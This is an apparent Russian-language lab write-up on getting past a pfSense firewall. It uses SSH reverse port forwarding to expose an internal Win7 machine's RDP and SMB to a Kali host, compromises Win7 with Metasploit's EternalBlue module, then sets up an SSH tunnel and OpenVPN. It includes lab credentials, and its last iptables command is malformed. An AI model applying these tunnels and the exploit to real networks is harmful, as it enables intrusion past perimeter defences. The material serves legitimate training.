###### tags: `Bypass` # SSH port forwarding, OpenVPN L3 ![](https://i.imgur.com/TNhqJer.png) Топология сети 1. Запускаем FW(pfSense 2.4.4) 2. Настраиваем Linux-ext (для получения адреса по dhcp) ![](https://i.imgur.com/qQA99QS.png) >service networking restart #перезапускаем сеть >service ssh status #проверяем что включен ssh ![](https://i.imgur.com/01JDNK8.png) >![](https://i.imgur.com/MjXWS5a.png) >Проверяем что разрешен вход root по ssh (PermitRootLogin yes) Win7 ifconfig: ![](https://i.imgur.com/kq5T6cl.png) Linux-ext ip a: ![](https://i.imgur.com/CW1oMc9.png) Подключаемся по ssh на Linux-ext с Win7 по putty: ![](https://i.imgur.com/o3DNCug.png) ***Задача: Прокинуть изнутри (с Win7) порт наружу на Linux-Ext, чтобы с linux-Ext подключиться по прокинутому порту на Win7*** Прокинем порт 3389 Win7 на порт 3390 Linux-Ext. *То есть, мы делаем так, что с порта 3390 Linux-Ext мы смогли подключаться на порт 3389 Win7.* При подключении на порт 3390 Linux-Ext c 3389 Win7 обратное подключение будет возможно на с Linux-Ext на Win7. Проверим какие порты слушаются на Linux-Ext командой **ss -tunlp**: ![](https://i.imgur.com/rBZCday.png) На Win7 --> Putty ==> SSH ---> tunnels: ![](https://i.imgur.com/7qDbrI6.png) *source port 3390* - **указываем с какого порта будем потом заходить на Win7** *destination* - localhost:3389 - **указываем куда даем доступ и по какому порту, т.е. к себе на локалхост, на рдп-порт 3389.** указываем - remote auto нажимаем add На Linux-Ext вводим ss -tunlp: ![](https://i.imgur.com/y6my3W2.png) Видим, появилось новое прослушиваемое соединение на локальном адресе 127.0.0.1 на порту 3390 Настраиваем Kali-Linux: Настраиваем аналогичным образом доступ по ssh для root. >systemctl enable ssh #включаем автозагрузку ssh Аналогичным образом прокидываем порт 3389 с Win7 на порт 3390 только уже на KALI: До: ![](https://i.imgur.com/sHQuC10.png) ![](https://i.imgur.com/3wVoPGD.png) После: ![](https://i.imgur.com/hD7jAgs.png) Также добавилось прослушиваемое подключение порта 3390 на локалхосте. А теперь попробуем подключиться на KALI к "себе" на прокинутый 127.0.0.1:3390 через утилиту xfreerdp: >**xfreerdp /u:admin /p:eve@123 /v:127.0.0.1:3390** - указываем учетные данные админа машины Win7 Как мы видим, мы успешно зашли по RDP на Win7! ![](https://i.imgur.com/qFalvms.png) 3. Теперь делаем проброс порта с Win10 на Win7. Подключаемся по ssh с win10 на win7 и пробрасываем порты: запускаем cmd: ***ssh -R 3390:192.168.1.102:3389 root@192.168.4.171***, где: **ssh -R 3390:192.168.1.102:3389** - по ssh указываем что прокидываем порт 3390 на машину Win7(192.168.1.102:3389) и даем RDP по 3389, а **root@192.168.4.171** - прокидываем вот сюда на KALI порт 3390. ![](https://i.imgur.com/JgP0hgj.png) Таким образом, мы с Win10 прокинули порт 3390 localhost на машине KALI, теперь если мы на KAli подлючимся по xfreerdp на localhost:3390, мы попадем на Win7. ![](https://i.imgur.com/cPl5RVT.jpg) Можем сломать Win7, эксплуатируя уязвимость EternalBlue (smb). Для этого прокидываем порт 445: ssh -R 445:192.168.1.102:445 root@192.168.4.171 msf5 > search eternalblue use 3 set lhost 192.168.4.171 - откуда set rhost 127.0.0.1 - куда, так как прокинули себе 445 порт run Взлом получился: ![](https://i.imgur.com/RV65dgX.png) 3. Настраиваем туннель. **Задача: подключиться к KALi с Linux-SRV через туннель.** KALI: nano /etc/ssh/sshd_config меняем PermitTunnel c no на yes >service ssh restart Linux-SRV: ![](https://i.imgur.com/DLMOQUB.png) Настраиваем DHCP, перезапускаем службу Подлючаемся по ssh на KALI с созданием туннеля: ![](https://i.imgur.com/9vX26gB.png) На KALI: ![](https://i.imgur.com/HZ7Zrzp.png) alt+F2 - переключаемся на новое окно Linux-SRV: >ip addr add 10.10.10.1/24 dev tun5 - присваиваем туннелю 5 статический адрес > ip link set dev tun5 up # поднимаем интерфейс То же самое делаем, но на KALI: >ip addr add 10.10.10.2/24 dev tun5 - присваиваем туннелю 5 статический адрес > ip link set dev tun5 up # поднимаем интерфейс >Добавляем доступ с KALi на другие машины, добавив статическую маршрутизацию до подсетки за файерволлом: KALI: ip route add 192.168.1.0/24 via 10.10.10.1(это адрес туннеля на Linux-SRV) С кали не пингуется шлюз pFsense(192.168.1.1), что делаем чтобы пинговался: на Linux-SRV включаем форвардинг ipv4 пакетов: nano /etc/sysctl.conf net.ipv4.ip_forward=1 >syctl -p #применяем настройки Теперь пакеты до Linux-SRV долетают, но что дальше делать с ними наш роутер не знает. Надо настроить NAT через iptables Linux-SRV, чтобы все что выходит с интерфейса ens3 преобразовывалось (натилось): >iptables -t nat -A POSTROUTING -o ens3 -j MASQUERADE пинг есть: ![](https://i.imgur.com/6b3nv9s.png) OPENVPN L3 На Linux-Ext разворачиваем OpenVPN Server: переименуем машины на Linux-Ext, также Linux-SRV : nano /etc/hosts nano /etc/hostname ПРобрасываем порт 2222 для коннекта с linux ext на linux srv: ![](https://i.imgur.com/zLXwyZh.png) Установка OpenVPN на Linux-Ext: Linux-ext: >apt update -y && apt install curl -y #обновляем пакеты и устанавливаем curl curl -O https://raw.githubusercontent.com/angristan/openvpn-install/master/openvpn-install.sh chmod +x openvpn-install.sh ./openvpn-install.sh ![](https://i.imgur.com/9G1wNsk.png) ``` далее просто enter ничего не меняя добавляем client1 еще раз запускаем скрипт, добавляем client2 ``` >2 клиента нужны для KALI и Linux-SRV. >Linux-ext: nano /etc/openvpn/server.conf #настройка openvpn сервера Приводим к виду: ![](https://i.imgur.com/I0JcSaX.png) >service openvpn restart >cd /root/ #сюда сложены клиенты 1,2 >ls -lh - посмотреть содержимое каталога >nano client1.ovpn: приводим к виду: ![](https://i.imgur.com/lIJkn3w.png) тоже самое и для client2.ovpn копируем с Linux-Ext файл клиента на Linux-SRV в текущую директорию: Linux-SRV:scp root@192.168.4.167:/root/client1.ovpn ./ Ставим openvpn на Linux-SRV: >nano /etc/resolv.conf --> nameserver 8.8.8.8 apt update -y && apt install openvpn -y KALI: scp root@192.168.4.167:/root/client2.ovpn ./ >Linux-SRV: openvpn client1.ovpn #запускаем ![](https://i.imgur.com/w5RTnQn.png) Тоже самое на KALI ![](https://i.imgur.com/AxKfkYu.png) Linux-Ext: nano /etc/openvpn/server.conf добавляем в конец client-to-client ![](https://i.imgur.com/Fm0a0Vd.png) > service openvpn restart > перезапускаем клиентов на кали и сервер KAli: можем по ssh подключиться по openvpn на Linux-SRV ![](https://i.imgur.com/W0EF9jv.png) Гоним трафик с 192.168.1.0/24 via 10.0.8.2 Linux-SRV: apt install tcpdump -y Пинга до внутренней подсетки нет: ![](https://i.imgur.com/zeSn4MG.jpg) Решение: > **Можно делать как на сервере, так и на клиенте, в данном случае сделали на сервере:** Linux-Ext: >cd /etc/openvpn/ccd >nano client1 >![](https://i.imgur.com/LGvjye4.png) Но 192.168.1.1 не пингуется (pfSense) тогда : > Linux-SRV: iptables -t nat -A POSTROUTING -0 ens3 MASQUARADE